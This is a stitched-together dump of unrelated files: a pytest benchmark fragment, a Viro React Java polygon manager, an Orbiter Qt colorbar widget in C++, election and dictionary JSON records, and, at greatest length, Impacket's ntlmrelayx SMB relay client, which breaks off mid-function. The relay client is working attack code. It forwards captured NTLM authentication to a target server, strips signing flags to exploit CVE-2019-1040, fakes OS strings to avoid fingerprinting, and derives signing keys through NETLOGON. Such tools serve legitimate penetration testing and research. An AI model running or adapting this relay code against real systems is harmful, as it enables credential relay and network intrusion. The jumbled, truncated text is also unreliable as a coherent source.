benchmark): benchmark(impl(problem).batch_gradients) @pytest.mark.skip() @pytest.mark.parametrize("problem,impl", ALL_CONFIGURATIONS, ids=CONFIGURATION_IDS) def test_var(problem, impl, benchmark): raise NotImplementedError @pytest.mark.parametrize("problem,impl", ALL_CONFIGURATIONS, ids=CONFIGURATION_IDS) def test_diag_h(problem, impl, tmp_path, benchmark): if "large_autograd" in str(tmp_path): pytest.skip() benchmark(impl(problem).diag_h)
1,383
1,851
// Copyright © 2018 <NAME>. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. // IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY // CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, // TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE // SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. package com.viromedia.bridge.component.node.control; import android.util.Log; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReadableArray; import com.facebook.react.common.MapBuilder; import com.facebook.react.uimanager.ThemedReactContext; import com.facebook.react.uimanager.annotations.ReactProp; import com.viro.core.Vector; import com.viromedia.bridge.component.node.VRTNodeManager; import com.viromedia.bridge.utility.ViroEvents; import java.util.ArrayList; import java.util.List; import java.util.Map; public class VRTPolygonManager extends VRTControlManager<VRTPolygon> { public VRTPolygonManager(ReactApplicationContext context) { super(context); } @Override public String getName() { return "VRTPolygon"; } @Override protected VRTPolygon createViewInstance(ThemedReactContext reactContext) { return new VRTPolygon(reactContext); } @ReactProp(name = "vertices") public void setVertices(VRTPolygon view, ReadableArray vertices) { if (vertices == null || vertices.size() == 0) { throw new IllegalArgumentException("[ViroPolygon] Invalid Polygon vertex boundary list provided!"); } List<Vector> vecVertices = new ArrayList<Vector>(); for (int i = 0; i < vertices.size(); i ++) { ReadableArray vecArray = vertices.getArray(i); if (vecArray == null || vecArray.size() < 2) { throw new IllegalArgumentException("[ViroPolygon] Invalid Polygon vertex boundary list provided!"); } if (vecArray.size() > 2){ Log.w("Viro","[ViroPolygon] Polygon only supports xy coordinates! " + "But a set of 3 points had been provided!"); } vecVertices.add(new Vector(vecArray.getDouble(0), vecArray.getDouble(1),0)); } view.setVertices(vecVertices); } @ReactProp(name = "holes") public void setHoles(VRTPolygon view, ReadableArray holesArray) { List<List<Vector>> holes = new ArrayList<>(); for (int h = 0; h < holesArray.size(); h++) { ReadableArray holeArray = holesArray.getArray(h); if (holeArray == null || holeArray.size() == 0) { continue; } List<Vector> hole = new ArrayList<>(); for (int i = 0; i < holeArray.size(); i++) { ReadableArray vecArray = holeArray.getArray(i); if (vecArray == null || vecArray.size() < 2) { throw new IllegalArgumentException("[ViroPolygon] Invalid hole vertex boundary list provided!"); } if (vecArray.size() > 2) { Log.w("Viro","[ViroPolygon] Polygon only supports xy coordinates! " + "But a set of 3 points had been provided for hole " + h + "!"); } hole.add(new Vector(vecArray.getDouble(0), vecArray.getDouble(1),0)); } holes.add(hole); } view.setHoles(holes); } @ReactProp(name = "uvCoordinates") public void setUVCoordinates(VRTPolygon view, ReadableArray coordinates) { float u0 = 0; float v0 = 0; float u1 = 1; float v1 = 1; if (coordinates == null) { // do-nothing } else if (coordinates.size() != 4) { throw new IllegalArgumentException("[ViroPolygon] Expected 4 uv coordinates, got " + coordinates.size()); } else { // not null && has 4 elements u0 = (float) coordinates.getDouble(0); v0 = (float) coordinates.getDouble(1); u1 = (float) coordinates.getDouble(2); v1 = (float) coordinates.getDouble(3); } view.setUVCoordinates(u0, v0, u1, v1); } @ReactProp(name = "lightReceivingBitMask", defaultInt = 1) public void setLightReceivingBitMask(VRTPolygon view, int bitMask) {view.setLightReceivingBitMask(bitMask); } @ReactProp(name = "shadowCastingBitMask", defaultInt = 1) public void setShadowCastingBitMask(VRTPolygon view, int bitMask) {view.setShadowCastingBitMask(bitMask); } @ReactProp(name = "arShadowReceiver", defaultBoolean = false) public void setARShadowReceiver(VRTPolygon view, boolean arShadowReceiver) { view.setARShadowReceiver(arShadowReceiver); } }
2,155
1,040
<reponame>Ybalrid/orbiter<filename>Utils/tileedit/qt/src/colorbar.cpp #include "colorbar.h" #include "cmap.h" #include "QPainter" #include "QResizeEvent" Colorbar::Colorbar(QWidget *parent) : QWidget(parent) { m_elevDisplayParam = 0; m_overlay = new ColorbarOverlay(this); m_mode = TILEMODE_NONE; } Colorbar::~Colorbar() { delete m_overlay; } void Colorbar::setTileMode(TileMode mode) { if (mode != m_mode) { m_mode = mode; update(); } m_overlay->setTileMode(mode); } void Colorbar::setElevDisplayParam(const ElevDisplayParam &elevDisplayParam) { m_elevDisplayParam = &elevDisplayParam; m_overlay->setRange(elevDisplayParam.rangeMin, elevDisplayParam.rangeMax); } void Colorbar::displayParamChanged() { m_overlay->setRange(m_elevDisplayParam->rangeMin, m_elevDisplayParam->rangeMax); update(); } void Colorbar::setScalarValue(double val) { m_overlay->setScalarValue(val); } void Colorbar::setRGBValue(BYTE r, BYTE g, BYTE b) { m_overlay->setRGBValue(r, g, b); } void Colorbar::paintEvent(QPaintEvent *event) { QPainter painter(this); QFontMetrics fm = painter.fontMetrics(); int textHeight = fm.height(); QRect cbRect(rect().left(), rect().top(), rect().width(), rect().height() - textHeight); if (m_mode == TILEMODE_ELEVATION || m_mode == TILEMODE_ELEVMOD) { if (m_elevDisplayParam) { const Cmap &cm = cmap(m_elevDisplayParam->cmName); DWORD data[256]; memcpy(data, cm, 256 * sizeof(DWORD)); for (int i = 0; i < 256; i++) data[i] |= 0xff000000; QImage qimg((BYTE*)data, 256, 1, QImage::Format_ARGB32); painter.drawImage(cbRect, qimg); } else { QBrush brush(QColor(255, 255, 255)); painter.setBrush(brush); painter.drawRect(cbRect); } } else if (m_mode == TILEMODE_SURFACE || m_mode == TILEMODE_NIGHTLIGHT) { DWORD data[256 * 3]; for (int i = 0; i < 256; i++) { data[i] = 0xff000000 | (i << 16); data[i + 256] = 0xff000000 | (i << 8); data[i + 256 * 2] = 0xff000000 | i; } QImage qimg((BYTE*)data, 256, 3, QImage::Format_ARGB32); painter.drawImage(cbRect, qimg); } else if (m_mode == TILEMODE_WATERMASK) { painter.setPen(QPen("black")); painter.setBrush(QColor("black")); painter.drawRect(0, 0, cbRect.width() / 2 - 1, cbRect.height() - 1); painter.setBrush(QColor("white")); painter.drawRect(cbRect.width() / 2, 0, cbRect.width() - cbRect.width() / 2 - 1, cbRect.height() - 1); } } void Colorbar::resizeEvent(QResizeEvent *event) { m_overlay->resize(event->size()); } ColorbarOverlay::ColorbarOverlay(QWidget *parent) : QWidget(parent) { m_vmin = 0.0; m_vmax = 1.0; m_val = 0.0; m_mode = TILEMODE_NONE; m_penIndicator0.setColor(QColor(255, 0, 0)); m_penIndicator0.setWidth(1); m_penIndicator0.setStyle(Qt::SolidLine); m_penIndicator1.setColor(QColor(255, 255, 255)); m_penIndicator1.setWidth(1); m_penIndicator1.setStyle(Qt::SolidLine); } void ColorbarOverlay::setTileMode(TileMode mode) { if (mode != m_mode) { m_mode = mode; update(); } } void ColorbarOverlay::setRange(double vmin, double vmax) { m_vmin = vmin; m_vmax = vmax; update(); } void ColorbarOverlay::setScalarValue(double val) { m_val = val; if (m_mode == TILEMODE_ELEVATION || m_mode == TILEMODE_ELEVMOD || m_mode == TILEMODE_WATERMASK) update(); } void ColorbarOverlay::setRGBValue(BYTE r, BYTE g, BYTE b) { m_r = r; m_g = g; m_b = b; if (m_mode == TILEMODE_SURFACE || m_mode == TILEMODE_NIGHTLIGHT) update(); } void ColorbarOverlay::paintEvent(QPaintEvent *event) { QPainter painter(this); QFontMetrics fm = painter.fontMetrics(); int textHeight = fm.height(); painter.fillRect(rect(), QColor(0, 0, 0, 0)); int w = rect().width(); int h = rect().height(); int cbh = h - textHeight; char cbuf[1024]; if (m_mode == TILEMODE_ELEVATION || m_mode == TILEMODE_ELEVMOD) { if (m_val != DBL_MAX) { int x = max(1, min(w - 2, (m_val - m_vmin) / (m_vmax - m_vmin) * w)); painter.setPen(m_penIndicator0); painter.drawLine(x, 0, x, cbh - 1); painter.setPen(m_penIndicator1); painter.drawLine(x - 1, 0, x - 1, cbh - 1); painter.drawLine(x + 1, 0, x + 1, cbh - 1); } painter.setPen("black"); sprintf(cbuf, "%+0.1lf m", m_vmin); painter.drawText(0, h-2, cbuf); sprintf(cbuf, "%+0.1lf m", m_vmax); QString qs(cbuf); painter.drawText(w - fm.width(qs), h-2, qs); if (m_val != DBL_MAX) sprintf(cbuf, "%+0.1lf m", m_val); else strcpy(cbuf, "N/A"); QString qv(cbuf); painter.drawText((w - fm.width(qv)) / 2, h-2, qv); } else if (m_mode == TILEMODE_SURFACE || m_mode == TILEMODE_NIGHTLIGHT) { int y0 = 0, y1 = cbh / 3, y2 = (cbh * 2) / 3, y3 = cbh; int xr = ((2*m_r+1) * w) / 512, xg = ((2*m_g+1) * w) / 512, xb = ((2*m_b+1) * w) / 512; painter.setPen(m_penIndicator0); painter.drawLine(xr, y0, xr, y1 - 1); painter.drawLine(xg, y1, xg, y2 - 1); painter.drawLine(xb, y2, xb, y3 - 1); painter.setPen(m_penIndicator1); painter.drawLine(xr - 1, y0, xr - 1, y1 - 1); painter.drawLine(xr + 1, y0, xr + 1, y1 - 1); painter.drawLine(xg - 1, y1, xg - 1, y2 - 1); painter.drawLine(xg + 1, y1, xg + 1, y2 - 1); painter.drawLine(xb - 1, y2, xb - 1, y3 - 1); painter.drawLine(xb + 1, y2, xb + 1, y3 - 1); painter.setPen("black"); QString qsmin = QString::number(0); painter.drawText(0, h-2, qsmin); QString qsmax = QString::number(255); painter.drawText(w - fm.width(qsmax), h-2, qsmax); sprintf(cbuf, "%d / %d / %d", m_r, m_g, m_b); QString qrgb(cbuf); int x0 = (w - fm.width(qrgb)) / 2; painter.setPen(QPen("red")); sprintf(cbuf, "%d", m_r); QString qr(cbuf); painter.drawText(x0, h - 2, qr); x0 += fm.width(qr); painter.setPen(QPen("black")); QString qdash(" / "); painter.drawText(x0, h - 2, qdash); x0 += fm.width(qdash); painter.setPen(QPen("green")); sprintf(cbuf, "%d", m_g); QString qg(cbuf); painter.drawText(x0, h - 2, qg); x0 += fm.width(qg); painter.setPen(QPen("black")); painter.drawText(x0, h - 2, qdash); x0 += fm.width(qdash); painter.setPen(QPen("blue")); sprintf(cbuf, "%d", m_b); QString qb(cbuf); painter.drawText(x0, h - 2, qb); } else if (m_mode == TILEMODE_WATERMASK) { painter.setPen(m_penIndicator0); bool isWater = (m_val == 0.0); if (isWater) { painter.drawRect(2, 2, w / 2 - 5, cbh - 5); painter.setPen(m_penIndicator1); painter.drawRect(1, 1, w / 2 - 3, cbh - 3); painter.drawRect(3, 3, w / 2 - 7, cbh - 7); } else painter.drawRect(w / 2 + 2, 2, w - w / 2 - 5, cbh - 5); QString s(isWater ? "Water (specular)" : "Land (diffuse)"); painter.setPen(QPen("black")); painter.drawText((w - fm.width(s)) / 2, h - 2, s); } }
3,139
348
<reponame>chamberone/Leaflet.PixiOverlay<gh_stars>100-1000 {"nom":"<NAME>","circ":"4ème circonscription","dpt":"Essonne","inscrits":4876,"abs":1961,"votants":2915,"blancs":14,"nuls":10,"exp":2891,"res":[{"nuance":"REM","nom":"Mme <NAME>","voix":1083},{"nuance":"LR","nom":"Mme <NAME>","voix":484},{"nuance":"DVD","nom":"<NAME>","voix":412},{"nuance":"FI","nom":"<NAME>","voix":271},{"nuance":"SOC","nom":"Mme <NAME>","voix":224},{"nuance":"FN","nom":"<NAME> - <NAME>","voix":137},{"nuance":"ECO","nom":"Mme <NAME>","voix":90},{"nuance":"DVD","nom":"<NAME>","voix":69},{"nuance":"DLF","nom":"Mme <NAME>","voix":42},{"nuance":"DIV","nom":"Mme <NAME>","voix":33},{"nuance":"ECO","nom":"M. <NAME>","voix":21},{"nuance":"DIV","nom":"<NAME>","voix":12},{"nuance":"EXG","nom":"M. <NAME>","voix":10},{"nuance":"DIV","nom":"M. <NAME>","voix":3},{"nuance":"DIV","nom":"Mme <NAME>","voix":0}]}
358
335
<reponame>Safal08/Hacktoberfest-1 { "word": "Digestive", "definitions": [ "Relating to the process of digesting food.", "(of food or medicine) aiding or promoting the process of digestion." ], "parts-of-speech": "Adjective" }
103
6,612
<filename>impacket/examples/ntlmrelayx/clients/smbrelayclient.py # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # SMB Relay Protocol Client # This is the SMB client which initiates the connection to an # SMB server and relays the credentials to this server. # # Author: # <NAME> (@agsolino) # import logging import os from binascii import unhexlify, hexlify from struct import unpack, pack from socket import error as socketerror from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NULL from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ generateEncryptedSessionKey, hmac_md5 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response from impacket.smbconnection import SMBConnection, SMB_DIALECT from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech from impacket.dcerpc.v5.transport import SMBTransport from impacket.dcerpc.v5 import scmr PROTOCOL_CLIENT_CLASS = "SMBRelayClient" class MYSMB(SMB): def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): self.extendedSecurity = extendedSecurity SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) def neg_session(self, negPacket=None): return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) class MYSMB3(SMB3): def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): self.extendedSecurity = extendedSecurity SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) def negotiateSession(self, preferredDialect = None, negSessionResponse = None): # We DON'T want to sign self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION currentDialect = SMB2_DIALECT_WILDCARD # Do we have a negSessionPacket already? if negSessionResponse is not None: # Yes, let's store the dialect answered back negResp = SMB2Negotiate_Response(negSessionResponse['Data']) currentDialect = negResp['DialectRevision'] if currentDialect == SMB2_DIALECT_WILDCARD: # Still don't know the chosen dialect, let's send our options packet = self.SMB_PACKET() packet['Command'] = SMB2_NEGOTIATE negSession = SMB2Negotiate() negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] negSession['Capabilities'] = self._Connection['Capabilities'] negSession['ClientGuid'] = self.ClientGuid if preferredDialect is not None: negSession['Dialects'] = [preferredDialect] else: negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] negSession['DialectCount'] = len(negSession['Dialects']) packet['Data'] = negSession packetID = self.sendSMB(packet) ans = self.recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): negResp = SMB2Negotiate_Response(ans['Data']) self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) self._Connection['ServerGuid'] = negResp['ServerGuid'] self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: self._Connection['SupportsFileLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: self._Connection['SupportsMultiCredit'] = True if self._Connection['Dialect'] == SMB2_DIALECT_30: # Switching to the right packet format self.SMB_PACKET = SMB3Packet if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: self._Connection['SupportsDirectoryLeasing'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: self._Connection['SupportsMultiChannel'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: self._Connection['SupportsPersistentHandles'] = True if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: self._Connection['SupportsEncryption'] = True self._Connection['ServerCapabilities'] = negResp['Capabilities'] self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.machineAccount = None self.machineHashes = None self.sessionData = {} self.negotiateMessage = None self.challengeMessage = None self.serverChallenge = None self.keepAliveHits = 1 def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(authenticateMessageBlob) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount)-1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 'user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info("%s\\%s successfully validated through NETLOGON" % ( domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8')) return STATUS_SUCCESS, signingKey def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits +=1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except Exception as e: if not self.serverConfig.smb2support: LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') else: LOG.error('SMBClient error: Connection was reset') return False if packet[0:1] == b'\xfe': preferredDialect = None # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self,uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge self.serverChallenge = challenge['challenge'] return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 sessionSetup['SecurityBufferLength'] = len(negotiateMessage) sessionSetup['Buffer'] = negotiateMessage packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) return sessionSetupResponse['Buffer'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags ()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers #blob = SPNEGO_NegTokenInit() # NTLMSSP #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] #blob['MechToken'] = <PASSWORD> #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage) sessionSetup['Parameters'].getData() #sessionSetup['Data']['SecurityBlob'] = blob.getData() sessionSetup['Data']['SecurityBlob'] = negotiateMessage # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = 